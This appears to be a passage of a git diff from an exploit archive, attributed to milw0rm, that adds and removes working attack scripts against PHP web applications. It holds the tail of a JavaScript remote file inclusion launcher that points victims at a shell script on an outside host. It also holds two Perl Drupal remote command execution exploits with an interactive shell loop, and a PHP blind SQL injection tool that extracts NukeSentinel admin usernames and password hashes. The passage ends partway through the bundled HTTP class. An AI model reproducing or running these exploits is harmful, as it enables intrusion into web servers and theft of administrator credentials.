+//'[Using      : Write Target after Submit Click
+//'===============================================================================================
+
+//'[[ERROR]]]------------------------------------------------------
+//'....
+//'..
+//'<?
+//'
+//'include($Root_To_Script.'class.readdir.php');
+//'include($Root_To_Script.'SETUP_VARS.php');
+//'
+//'?>
+//'....
+//'..
+//'[[ERROR]]]---------------------------------------------------------
+
+//# ajann,Turkey
+//# ...
+
+   
+
+     //Basic exploit,but any time : ( 
+   var path="/classes/"
+   var adres="/_admin/nav.php?" //File name
+   var acik ="Root_To_Script=" // Line 2-3
+   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
+  
+   function command(){
+       if (document.rfi.target1.value==""){
+          alert("Failed..");
+      return false;
+    }
+
+
+  
+  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
+  rfi.submit(); // Form Submit
+   }
+</script>
+
+</head>
+
+<body bgcolor="#000000">
+<center>
+
+<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>
+
+<p></p>
+<form method="post" target="getting" name="rfi" onSubmit="command();">
+    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
+  </font><font color="#FF0000" size="2">&nbsp;</font></b>
+  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
+  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
+</form>
+<p><br>
+<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
+</p>
+
+<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
+</center>
+</body>
+
+</html>
+
+# milw0rm.com [2007-02-13]
diff --git a/platforms/php/webapps/3312.pl b/platforms/php/webapps/3312.pl
index 5f78d4b69..8a072fc43 100755
--- a/platforms/php/webapps/3312.pl
+++ b/platforms/php/webapps/3312.pl
@@ -1,97 +1,97 @@
-#!/usr/bin/perl
-
-#
-# $Id: milw0rm_drupalv5.pl,v 0.2 2007/02/15 13:40:29 str0ke Exp $
-# 
-# milw0rm_drupalv5.pl - Drupal < 5.1 Remote Command Execution Exploit
-# Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>
-# 
-# Description
-# -----------
-# Previews on comments were not passed through normal form validation routines,
-# enabling users with the 'post comments' permission and access to more than one
-# input filter to execute arbitrary code. By default, anonymous and authenticated
-# users have access to only one input format.
-# Immediate workarounds include: disabling the comment module, revoking the 'post 
-# comments' permission for all users or limiting access to one input format.
-# Versions affected
-# -----------------
-# - Drupal 5.x versions before Drupal 5.1
-#
-# [02/15/2007] The exploit has been fixed. /str0ke
-#
-
-use strict;
-use LWP::UserAgent;
-
-my $host  = shift || &usage;
-my $dir   = shift || "/drupal";
-my $proxy = shift;
-my $command;
-
-my $conn = LWP::UserAgent->new();
-$conn -> proxy("http", "http://".$proxy."/") unless !$proxy;
-
-sub usage() 
-{
-	print "[?] Drupal < 5.1 Remote Command Execution Exploit\n";
-	print "[?] Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>\n";
-	print "[?] usage: perl $0 [host] [directory] [proxy]\n";
-	print "    [host] (ex. www.milw0rm.com)\n";
-	print "    [directory] (ex. /drupal)\n";
-	print "    [proxy] (ex. 0.0.0.0:8080)\n";
-	exit;
-}
-
-sub exploit() 
-{
-	my $i = $_[0];
-	my $command = $_[1] || 'ls -l';
-	my $cmd     = 'echo start_er;'.$command.';'.'echo end_er';
-
-	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
-	
-	my $req = HTTP::Request->new(POST => "http://" . $host . $dir . "/?q=comment/reply/" . $i);
-	$req -> content_type('application/x-www-form-urlencoded');
-	$req -> content('subject=My daddy beats me&comment=<?passthru('.$byte.');?>&format=2&form_id=comment_form&op=Preview comment');
-
-	my $content = $conn->request($req);
-	
-	if ($content->content =~ m/start_er(.*?)end_er/ms) {
-		my $out = $1;
-
-		if ($out) {
-			print "$out\n";
-		} else {
-			print "[-] Exploit Failed...\n";
-			exit;
-		}	
-	}	
-}
-
-for my $i ( 1 .. 400 ) {
-	my $output = $conn -> get("http://" . $host . $dir . "/?q=comment/reply/" . $i);
-
-	if($output -> is_success)
-	{
-		if($output -> content =~ /add new comment/)
-		{
-			print "[+] found comment/reply: $i\n";
-
-			&exploit($i);
-			
-			while()
-			{
-				print "str0kin-drupal\$ ";
-				chomp($command = <STDIN>);
-				exit unless $command;
-				&exploit($i, $command);
-			}
-			exit;
-		}
-	}
-}
-
-print "[-] Exploit Failed...\n";
-
-# milw0rm.com [2007-02-15]
+#!/usr/bin/perl
+
+#
+# $Id: milw0rm_drupalv5.pl,v 0.2 2007/02/15 13:40:29 str0ke Exp $
+# 
+# milw0rm_drupalv5.pl - Drupal < 5.1 Remote Command Execution Exploit
+# Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>
+# 
+# Description
+# -----------
+# Previews on comments were not passed through normal form validation routines,
+# enabling users with the 'post comments' permission and access to more than one
+# input filter to execute arbitrary code. By default, anonymous and authenticated
+# users have access to only one input format.
+# Immediate workarounds include: disabling the comment module, revoking the 'post 
+# comments' permission for all users or limiting access to one input format.
+# Versions affected
+# -----------------
+# - Drupal 5.x versions before Drupal 5.1
+#
+# [02/15/2007] The exploit has been fixed. /str0ke
+#
+
+use strict;
+use LWP::UserAgent;
+
+my $host  = shift || &usage;
+my $dir   = shift || "/drupal";
+my $proxy = shift;
+my $command;
+
+my $conn = LWP::UserAgent->new();
+$conn -> proxy("http", "http://".$proxy."/") unless !$proxy;
+
+sub usage() 
+{
+	print "[?] Drupal < 5.1 Remote Command Execution Exploit\n";
+	print "[?] Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>\n";
+	print "[?] usage: perl $0 [host] [directory] [proxy]\n";
+	print "    [host] (ex. www.milw0rm.com)\n";
+	print "    [directory] (ex. /drupal)\n";
+	print "    [proxy] (ex. 0.0.0.0:8080)\n";
+	exit;
+}
+
+sub exploit() 
+{
+	my $i = $_[0];
+	my $command = $_[1] || 'ls -l';
+	my $cmd     = 'echo start_er;'.$command.';'.'echo end_er';
+
+	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
+	
+	my $req = HTTP::Request->new(POST => "http://" . $host . $dir . "/?q=comment/reply/" . $i);
+	$req -> content_type('application/x-www-form-urlencoded');
+	$req -> content('subject=My daddy beats me&comment=<?passthru('.$byte.');?>&format=2&form_id=comment_form&op=Preview comment');
+
+	my $content = $conn->request($req);
+	
+	if ($content->content =~ m/start_er(.*?)end_er/ms) {
+		my $out = $1;
+
+		if ($out) {
+			print "$out\n";
+		} else {
+			print "[-] Exploit Failed...\n";
+			exit;
+		}	
+	}	
+}
+
+for my $i ( 1 .. 400 ) {
+	my $output = $conn -> get("http://" . $host . $dir . "/?q=comment/reply/" . $i);
+
+	if($output -> is_success)
+	{
+		if($output -> content =~ /add new comment/)
+		{
+			print "[+] found comment/reply: $i\n";
+
+			&exploit($i);
+			
+			while()
+			{
+				print "str0kin-drupal\$ ";
+				chomp($command = <STDIN>);
+				exit unless $command;
+				&exploit($i, $command);
+			}
+			exit;
+		}
+	}
+}
+
+print "[-] Exploit Failed...\n";
+
+# milw0rm.com [2007-02-15]
diff --git a/platforms/php/webapps/3313.pl b/platforms/php/webapps/3313.pl
index 8e94c9bd8..b16b38c98 100755
--- a/platforms/php/webapps/3313.pl
+++ b/platforms/php/webapps/3313.pl
@@ -1,97 +1,97 @@
-#!/usr/bin/perl
-
-#
-# $Id: milw0rm_drupalv4.pl,v 0.2 2007/02/15 13:28:29 str0ke Exp $
-# 
-# milw0rm_drupalv4.pl - Drupal < 4.7.6 Remote Command Execution Exploit
-# Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>
-# 
-# Description
-# -----------
-# Previews on comments were not passed through normal form validation routines,
-# enabling users with the 'post comments' permission and access to more than one
-# input filter to execute arbitrary code. By default, anonymous and authenticated
-# users have access to only one input format.
-# Immediate workarounds include: disabling the comment module, revoking the 'post 
-# comments' permission for all users or limiting access to one input format.
-# Versions affected
-# -----------------
-# - Drupal 4.7.x versions before Drupal 4.7.6
-#
-# [02/15/2007] The exploit has been fixed. /str0ke
-#
-
-use strict;
-use LWP::UserAgent;
-
-my $host  = shift || &usage;
-my $dir   = shift || "/drupal";
-my $proxy = shift;
-my $command;
-
-my $conn = LWP::UserAgent->new();
-$conn -> proxy("http", "http://".$proxy."/") unless !$proxy;
-
-sub usage() 
-{
-	print "[?] Drupal < 4.7.6 Remote Command Execution Exploit\n";
-	print "[?] Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>\n";
-	print "[?] usage: perl $0 [host] [directory] [proxy]\n";
-	print "    [host] (ex. www.milw0rm.com)\n";
-	print "    [directory] (ex. /drupal)\n";
-	print "    [proxy] (ex. 0.0.0.0:8080)\n";
-	exit;
-}
-
-sub exploit() 
-{
-	my $i = $_[0];
-	my $command = $_[1] || 'ls -l';
-	my $cmd     = 'echo start_er;'.$command.';'.'echo end_er';
-
-	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
-	
-	my $req = HTTP::Request->new(POST => "http://" . $host . $dir . "/?q=comment/reply/".$i);
-	$req -> content_type('application/x-www-form-urlencoded');
-	$req -> content('edit[subject]=My daddy beats me&edit[comment]=<?passthru('.$byte.');?>&edit[format]=2&edit[form_id]=comment_form&op=Preview comment');
-
-	my $content = $conn->request($req);
-
-	if ($content->content =~ m/start_er(.*?)end_er/ms) {
-		my $out = $1;
-
-		if ($out) {
-			print "$out\n";
-		} else {
-			print "[-] Exploit Failed...\n";
-			exit;
-		}	
-	}	
-}
-
-for my $i ( 1 .. 400 ) {
-	my $output = $conn -> get("http://" . $host . $dir . "/?q=comment/reply/" . $i);
-
-	if($output -> is_success)
-	{
-		if($output -> content =~ /add new comment/)
-		{
-			print "[+] found comment/reply: $i\n";
-
-			&exploit($i);
-			
-			while()
-			{
-				print "str0kin-drupal\$ ";
-				chomp($command = <STDIN>);
-				exit unless $command;
-				&exploit($i, $command);
-			}
-			exit;
-		}
-	}
-}
-
-print "[-] Exploit Failed...\n";
-
-# milw0rm.com [2007-02-15]
+#!/usr/bin/perl
+
+#
+# $Id: milw0rm_drupalv4.pl,v 0.2 2007/02/15 13:28:29 str0ke Exp $
+# 
+# milw0rm_drupalv4.pl - Drupal < 4.7.6 Remote Command Execution Exploit
+# Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>
+# 
+# Description
+# -----------
+# Previews on comments were not passed through normal form validation routines,
+# enabling users with the 'post comments' permission and access to more than one
+# input filter to execute arbitrary code. By default, anonymous and authenticated
+# users have access to only one input format.
+# Immediate workarounds include: disabling the comment module, revoking the 'post 
+# comments' permission for all users or limiting access to one input format.
+# Versions affected
+# -----------------
+# - Drupal 4.7.x versions before Drupal 4.7.6
+#
+# [02/15/2007] The exploit has been fixed. /str0ke
+#
+
+use strict;
+use LWP::UserAgent;
+
+my $host  = shift || &usage;
+my $dir   = shift || "/drupal";
+my $proxy = shift;
+my $command;
+
+my $conn = LWP::UserAgent->new();
+$conn -> proxy("http", "http://".$proxy."/") unless !$proxy;
+
+sub usage() 
+{
+	print "[?] Drupal < 4.7.6 Remote Command Execution Exploit\n";
+	print "[?] Copyright (c) 2007 str0ke <str0ke[!]milw0rm.com>\n";
+	print "[?] usage: perl $0 [host] [directory] [proxy]\n";
+	print "    [host] (ex. www.milw0rm.com)\n";
+	print "    [directory] (ex. /drupal)\n";
+	print "    [proxy] (ex. 0.0.0.0:8080)\n";
+	exit;
+}
+
+sub exploit() 
+{
+	my $i = $_[0];
+	my $command = $_[1] || 'ls -l';
+	my $cmd     = 'echo start_er;'.$command.';'.'echo end_er';
+
+	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
+	
+	my $req = HTTP::Request->new(POST => "http://" . $host . $dir . "/?q=comment/reply/".$i);
+	$req -> content_type('application/x-www-form-urlencoded');
+	$req -> content('edit[subject]=My daddy beats me&edit[comment]=<?passthru('.$byte.');?>&edit[format]=2&edit[form_id]=comment_form&op=Preview comment');
+
+	my $content = $conn->request($req);
+
+	if ($content->content =~ m/start_er(.*?)end_er/ms) {
+		my $out = $1;
+
+		if ($out) {
+			print "$out\n";
+		} else {
+			print "[-] Exploit Failed...\n";
+			exit;
+		}	
+	}	
+}
+
+for my $i ( 1 .. 400 ) {
+	my $output = $conn -> get("http://" . $host . $dir . "/?q=comment/reply/" . $i);
+
+	if($output -> is_success)
+	{
+		if($output -> content =~ /add new comment/)
+		{
+			print "[+] found comment/reply: $i\n";
+
+			&exploit($i);
+			
+			while()
+			{
+				print "str0kin-drupal\$ ";
+				chomp($command = <STDIN>);
+				exit unless $command;
+				&exploit($i, $command);
+			}
+			exit;
+		}
+	}
+}
+
+print "[-] Exploit Failed...\n";
+
+# milw0rm.com [2007-02-15]
diff --git a/platforms/php/webapps/3450.php b/platforms/php/webapps/3450.php
index 01a33b329..f047688ca 100755
--- a/platforms/php/webapps/3450.php
+++ b/platforms/php/webapps/3450.php
@@ -1,805 +1,805 @@
-#!/usr/bin/php
-<?php
-error_reporting(E_ALL ^ E_NOTICE);
-
-if($argc < 3)
-{
-print("
---  NukeSentinel <= 2.5.06 SQL Injection (mysql >= 4.0.24) Exploit  ---
------------------------------------------------------------------------
-PHP conditions: none
-CMS conditions: disable_switch<=0 (module activated), track_active=1
-       Credits: DarkFig <gmdarkfig@gmail.com>
-           URL: http://www.acid-root.new.fr/
------------------------------------------------------------------------
-  Usage: $argv[0] -url <> [Options]
- Params: -url       For example http://victim.com/phpnuke/ 
-Options: -prefix    Table prefix (default=nuke)
-         -debug     Debug mod activated (debug_ns.html)
-         -truetime  Server response time which returns true
-         -benchmark You can change the value used in benchmark()
-         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
-         -proxyauth Basic authentification <proxyuser:proxypwd>
-Example: $argv[0] -url http://localhost/phpnuke/ -debug
-   Note: This exploit is based on the server response time
-         If you have some problems use -debug, -benchmark, -truetime
------------------------------------------------------------------------
-");exit(1);
-}
-
-$url       = getparam("url",1);
-$tblprfix  = (getparam("prefix")!="")    ? getparam("prefix") : 'nuke';
-$debug     = (getparam("debug")!="")     ? 1 : 0;
-$benchmark = (getparam("benchmark")!="") ? getparam("benchmark") : '100000000';
-$proxy     = getparam("proxy");
-$proxyauth = getparam("proxyauth");
-
-$xpl = new phpsploit();
-$xpl->agent('Mozilla Firefox');
-$xpl->allowredirection(0);
-$xpl->cookiejar(0);
-
-if($proxy) $xpl->proxy($proxy);
-if($proxyauth) $xpl->proxyauth($proxyauth);
-if($debug) debug(1);
-
-print "\nUsername: ";bruteforce('aid');
-print "\nPassword: ";bruteforce('pwd');
-exit(0);
-
-function bruteforce($field)
-{
-	global $url,$xpl,$tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result; 
-	$a=0;$v='';$dfield=$field;
-	
-	if(eregi('a',$field)) { $b='-1';$c='127';} # aid charset
-	else                  { $b='46';$c='70'; } # pwd charset
-	
-	while(TRUE)
-	{
-		$a++;
-		for($e=$b;$e<=$c;$e++)
-		{
-			$fak = rand(128,254).'.'
-			      .rand(128,254).'.'
-			      .rand(128,254).'.'
-			      .rand(128,254);
-
-                        if($e==$b) $f="TST";
-			elseif($e==($b+1)) $f="NULL";
-			else $f=$e;
-
-                        # $db->sql_query("INSERT INTO `".$prefix."_nsnst_tracked_ips` (`user_id`, `username`, `date`,
-                        # `ip_addr`, `ip_long`, `page`, `user_agent`, `refered_from`, `x_forward_for`, `client_ip`, `remote_addr`,
-                        # `remote_port`, `request_method`, `c2c`) VALUES ('".$nsnst_const['ban_user_id']."', '$ban_username2',
-                        # '".$nsnst_const['ban_time']."', '".$nsnst_const['remote_ip']."', '".$nsnst_const['remote_long']."',
-                        # '$pg', '$user_agent', '$refered_from', '".$nsnst_const['forward_ip']."', '".$nsnst_const['client_ip']."',
-                        # '".$nsnst_const['remote_addr']."', '".$nsnst_const['remote_port']."', '".$nsnst_const['request_method']."',
-                        # '$c2c')");
-                        #
-			$sql  = "(SELECT IF((SUBSTR(";
-			$sql .= ($f=="TST") ? "(SELECT 1)" : "(SELECT $field FROM ${tblprfix}_authors WHERE radminsuper=1)";
-			$sql .= ($f=="TST") ? ",1" : ",$a";
-			$sql .= ",1)=CHAR(";
-			$sql .= ($f=="TST") ? "49" : "$f";
-			$sql .= ")),BENCHMARK($benchmark,CHAR(66))";
-			$sql .= ",1)),1,1,1,1,1,1,1,1,1)/*";
-
-			$bef = time();
-			$xpl->reset("header");
-			
-			# 2.5.06 CHANGES (2007-03-02):
-			# + Corrected a problem causing valid ip users to be tagged as invalid users
-                        # ...The old sploit will not work for this version but it's always vulnerable, you missed something.
-                        #
-			# if(!ereg("^([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})", $nsnst_const['remote_ip']))
-                        # {$nsnst_const['remote_ip'] = "none"; }
-			#
-			$xpl->addheader("Client-IP","$fak',$sql");
-			$xpl->get($url);
-			$aft = time();
-
-			if($f=="TST") $truetime=($aft-$bef);
-			if(getparam("truetime")!="") $truetime = getparam("truetime");
-			
-			if((($aft-$bef) >= $truetime) AND ($f != "TST")) $result='TRUE';
-			else $result='FALSE';
-			if($debug) debug();
-			
-			if($result=='TRUE')
-			{
-				if($f != "NULL")
-				{
-					print strtolower(chr($f));
-					$v .= chr($f);
-					break;
-				}
-				else
-				{
-					return $v;
-				}
-			}
-			
-			# Retry if no char found
-			if($f==$c) $a--;
-		}
-	}
-}
-
-function debug($first='')
-{
-	global $tblprfix,$truetime,$debug,$benchmark,$sql,$bef,$aft,$fak,$b,$c,$f,$dfield,$a,$result;
-	if($first)
-	{
-		$handle = fopen("debug_ns.html","w+");
-		$data = "<h1><div align='center'>NukeSentinel &lt;= 2.5.06 SQL Injection (Debug)</div></h1>
-		<pre><table width='0' border='1' align='center' cellspacing='0'><tr>
-		<td align='center'><b>REQUEST TIME</b></td>
-		<td align='center'><b>RESPONSE TIME</b></td>
-		<td align='center'><b>TRUETIME</b></td>
-		<td align='center'><b>BENCHMARK</b></td>
-		<td align='center'><b>RESULT</b></td>";
-		# <td align='center'><b>IP</b></td>
-		$data .= "<td align='center'><b>FIELD</b></td>
-		<td align='center'><b>CHARSET</b></td>
-		<td align='center'><b>SUBSTR()</b></td>
-		<td align='center'><b>ORD()</b></td>
-		<td align='center'><b>CHAR()</b></td>";
-		fwrite($handle,$data);
-		fclose($handle);
-	}
-	else
-	{
-		$handle = fopen("debug_ns.html","a");
-		$data   = "<tr";
-		$data  .= ($result=='TRUE') ? " bgcolor='#FFFF00'" : "";
-		$data  .= ">
-		<td align='center'>&nbsp;".htmlentities($bef)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities($aft)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities($truetime)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities($benchmark)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities($result)."&nbsp;</td>";
-		# <td align='center'>&nbsp;".htmlentities($fak)."&nbsp;</td>
-		$data .= "<td align='center'>&nbsp;".htmlentities($dfield)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities("$b-$c")."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities($a)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities($f)."&nbsp;</td>
-		<td align='center'>&nbsp;".htmlentities(chr($f))."&nbsp;</td></tr>";
-		fwrite($handle,$data);
-		fclose($handle);
-	}
-}
-
-function getparam($param,$opt='')
-{
-	global $argv;
-	foreach($argv as $value => $key)
-	{
-		if($key == '-'.$param) {
-		   if(!empty($argv[$value+1])) return $argv[$value+1];
-		   else return 1;
-		}
-	}
-	if($opt) exit("\n-$param parameter required");
-	else return;
-}
-
-/*
- * 
- * Copyright (C) darkfig
- * 
- * This program is free software; you can redistribute it and/or 
- * modify it under the terms of the GNU General Public License 
- * as published by the Free Software Foundation; either version 2 
- * of the License, or (at your option) any later version. 
- * 
- * This program is distributed in the hope that it will be useful, 
- * but WITHOUT ANY WARRANTY; without even the implied warranty of 
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
- * GNU General Public License for more details. 
- * 
- * You should have received a copy of the GNU General Public License 
- * along with this program; if not, write to the Free Software 
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
- * 
- * TITLE:          PhpSploit Class
- * REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
- * VERSION:        1.2
- * LICENSE:        GNU General Public License
- * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
- * FILENAME:       phpsploitclass.php
- *
- * CONTACT:        gmdarkfig@gmail.com (french / english)
- * GREETZ:         Sparah, Ddx39
- *
- * DESCRIPTION:
- * The phpsploit is a class implementing a web user agent.
- * You can add cookies, headers, use a proxy server with (or without) a
- * basic authentification. It supports the GET and the POST method. It can
- * also be used like a browser with the cookiejar() function (which allow
- * a server to add several cookies for the next requests) and the
- * allowredirection() function (which allow the script to follow all
- * redirections sent by the server). It can return the content (or the
- * headers) of the request. Others useful functions can be used for debugging.
- * A manual is actually in development but to know how to use it, you can
- * read the comments.
- *
- * CHANGELOG:
- * [2007-01-24] (1.2)
- *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
- *  * New: multipart/form-data enctype is now supported 
- *
- * [2006-12-31] (1.1)
- *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
- *  * New: You can now call the getheader() / getcontent() function without parameters
- *
- * [2006-12-30] (1.0)
- *  * First version
- * 
- */
-
-class phpsploit {
-
-	/**
-	 * This function is called by the get()/post() functions.
-	 * You don't have to call it, this is the main function.
-	 *
-	 * @return $server_response
-	 */
-	private function sock()
-	{
-		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
-		else $socket = fsockopen($this->host,$this->port);
-		
-		if(!$socket) die("Error: The host doesn't exist");
-		
-		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
-		elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
-		else die("Error: Invalid method");
-		
-		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
-		$this->packet .= "Host: ".$this->host."\r\n";
-		
-		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
-		if(!empty($this->header)) $this->packet .= $this->header."\r\n";
-		if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
-		
-		$this->packet .= "Connection: Close\r\n";
-		if($this->method==="post")
-		{
-			$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
-			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
-			$this->packet .= $this->data."\r\n";
-		}
-		elseif($this->method==="formdata")
-		{
-			$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
-			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
-			$this->packet .= $this->data;
-		}
-		$this->packet .= "\r\n";
-		$this->recv = '';
-		
-		fputs($socket,$this->packet);
-		while(!feof($socket)) $this->recv .= fgets($socket);
-		fclose($socket);
-		
-		if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
-		if($this->allowredirection) return $this->allowredirection($this->recv);
-		else return $this->recv;
-	}
-	
-
-	/**
-	 * This function allows you to add several cookie in the
-	 * request. Several methods are supported:
-	 * 
-	 * $this->addcookie("name","value");
-	 * or
-	 * $this->addcookie("name=newvalue");
-	 * or
-	 * $this->addcookie("othername=overvalue; xx=zz; y=u");
-	 * 
-	 * @param string $cookiename
-	 * @param string $cookievalue
-	 * 
-	 */
-	public function addcookie($cookn,$cookv='')
-	{
-		// $this->addcookie("name","value"); work avec replace
-		if(!empty($cookv))
-		{
-			if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
-			if(!empty($this->cookie))
-			{
-			    if(preg_match("/$cookn=/",$this->cookie))
-			    {
-			    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
-			    }
-			    else
-			    {
-			    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
-			    }
-			}
-			else
-			{
-				$this->cookie = $cookn."=".$cookv.";";
-			}
-		}
-		// $this->addcookie("name=value; othername=othervalue");
-		else
-		{
-	    	 if(!empty($this->cookie))
-	    	 {
-	    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
-	    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
-	    	 	for($i=0;$i<count($cookarr);$i++)
-	    	 	{
-	    	 		preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
-	    	 		$cookn = $matches[1];
-	    	 		$cookv = $matches[2];
-	    	 		$this->addcookie($cookn,$cookv);
-	    	 	}
-	    	 }
-			 else
-			 {
-			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
-			 	$this->cookie = $cookn;			
-			 }
-		}
-	}
-	
-	
-	/**
-	 * This function allows you to add several headers in the
-	 * request. Several methods are supported:
-	 *
-	 * $this->addheader("headername","headervalue");
-	 * or
-	 * $this->addheader("headername: headervalue");
-	 *
-	 * @param string $headername
-	 * @param string $headervalue
-	 */
-	public function addheader($headern,$headervalue='')
-	{
-		// $this->addheader("name","value");
-		if(!empty($headervalue))
-		{
-			if(!empty($this->header))
-			{
-				if(preg_match("/$headern:/",$this->header))
-				{
-					$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
-				}
-				else
-				{
-					$this->header .= "\r\n".$headern.": ".$headervalue;
-				}
-			}
-			else
-			{
-				$this->header=$headern.": ".$headervalue;
-			}
-		}
-		// $this->addheader("name: value");
-		else 
-		{
-			if(!empty($this->header))
-			{
-				$headarr = explode(": ",$headern);
-				$headern = $headarr[0];
-				$headerv = $headarr[1];
-				$this->addheader($headern,$headerv);
-			}
-			else
-			{
-				$this->header=$headern;
-			}
-		}
-	}
-	
-
-	/**
-	 * This function allows you to use an http proxy server.
-	 * Several methods are supported:
-	 * 
-	 * $this->proxy("proxyip","8118");
-	 * or
-	 * $this->proxy("proxyip:8118")
-	 *
-	 * @param string $proxyhost
-	 * @param integer $proxyport
-	 */
-	public function proxy($proxy,$proxyp='')
-	{
-		// $this->proxy("localhost:8118");
-		if(empty($proxyp))
-		{
-			preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
-			$proxh = $proxarr[1];
-			$proxp = $proxarr[2];
-			$this->proxyhost=$proxh;
-			$this->proxyport=$proxp;
-		}
-		// $this->proxy("localhost",8118);
-		else 
-		{
-			$this->proxyhost=$proxy;
-			$this->proxyport=intval($proxyp);
-		}
-		if($this->proxyport > 65535) die("Error: Invalid port number");
-	}
-	
-
-	/**
-	 * This function allows you to use an http proxy server
-	 * which requires a basic authentification. Several
-	 * methods are supported:
-	 * 
-	 * $this->proxyauth("darkfig","dapasswd");
-	 * or
-	 * $this->proxyauth("darkfig:dapasswd");
-	 *
-	 * @param string $proxyuser
-	 * @param string $proxypass
-	 */
-	public function proxyauth($proxyauth,$proxypasse='')
-	{
-		// $this->proxyauth("darkfig:password");
-		if(empty($proxypasse))
-		{
-			preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
-			$proxu = $proxautharr[1];
-			$proxp = $proxautharr[2];
-			$this->proxyuser=$proxu;
-			$this->proxypass=$proxp;
-		}
-		// $this->proxyauth("darkfig","password");
-		else
-		{
-			$this->proxyuser=$proxyauth;
-			$this->proxypass=$proxypasse;
-		}
-	}
-
-	
-	/**
-	 * This function allows you to set the "User-Agent" header.
-	 * Several methods are possible to do that:
-	 * 
-	 * $this->agent("Mozilla Firefox");
-	 * or
-	 * $this->addheader("User-Agent: Mozilla Firefox");
-	 * or
-	 * $this->addheader("User-Agent","Mozilla Firefox");
-	 * 
-	 * @param string $useragent
-	 */
-	public function agent($useragent)
-	{
-		$this->agent=$useragent;
-	}
-
-	
-	/**
-	 * This function returns the header which will be
-	 * in the next request.
-	 * 
-	 * $this->showheader();
-	 *
-	 * @return $header
-	 */
-	public function showheader()
-	{
-		return $this->header;
-	}
-
-	
-	/**
-	 * This function returns the cookie which will be
-	 * in the next request.
-	 * 
-	 * $this->showcookie();
-	 *
-	 * @return $storedcookies
-	 */
-	public function showcookie()
-	{
-		return $this->cookie;
-	}
-
-	
-	/**
-	 * This function returns the last formed
-	 * http request (the http packet).
-	 * 
-	 * $this->showlastrequest();
-	 * 
-	 * @return $last_http_request
-	 */
-	public function showlastrequest()
-	{
-		return $this->packet;
-	}
-	
-	
-	/**
-	 * This function sends the formed http packet with the
-	 * GET method. You can precise the port of the host.
-	 * 
-	 * $this->get("http://localhost");
-	 * $this->get("http://localhost:888/xd/tst.php");
-	 * 
-	 * @param string $urlwithpath
-	 * @return $server_response
-	 */
-	public function get($url)
-	{
-		$this->target($url);
-		$this->method="get";
-		return $this->sock();
-	}
-
-	
-	/**
-	 * This function sends the formed http packet with the
-	 * POST method. You can precise the port of the host.
-	 * 
-	 * $this->post("http://localhost/index.php","admin=1&user=dark");
-	 *
-	 * @param string $urlwithpath
-	 * @param string $postdata
-	 * @return $server_response
-	 */	
-	public function post($url,$data)
-	{
-		$this->target($url);
-		$this->method="post";
-		$this->data=$data;
-		return $this->sock();
-	}
-	
-
-	/**
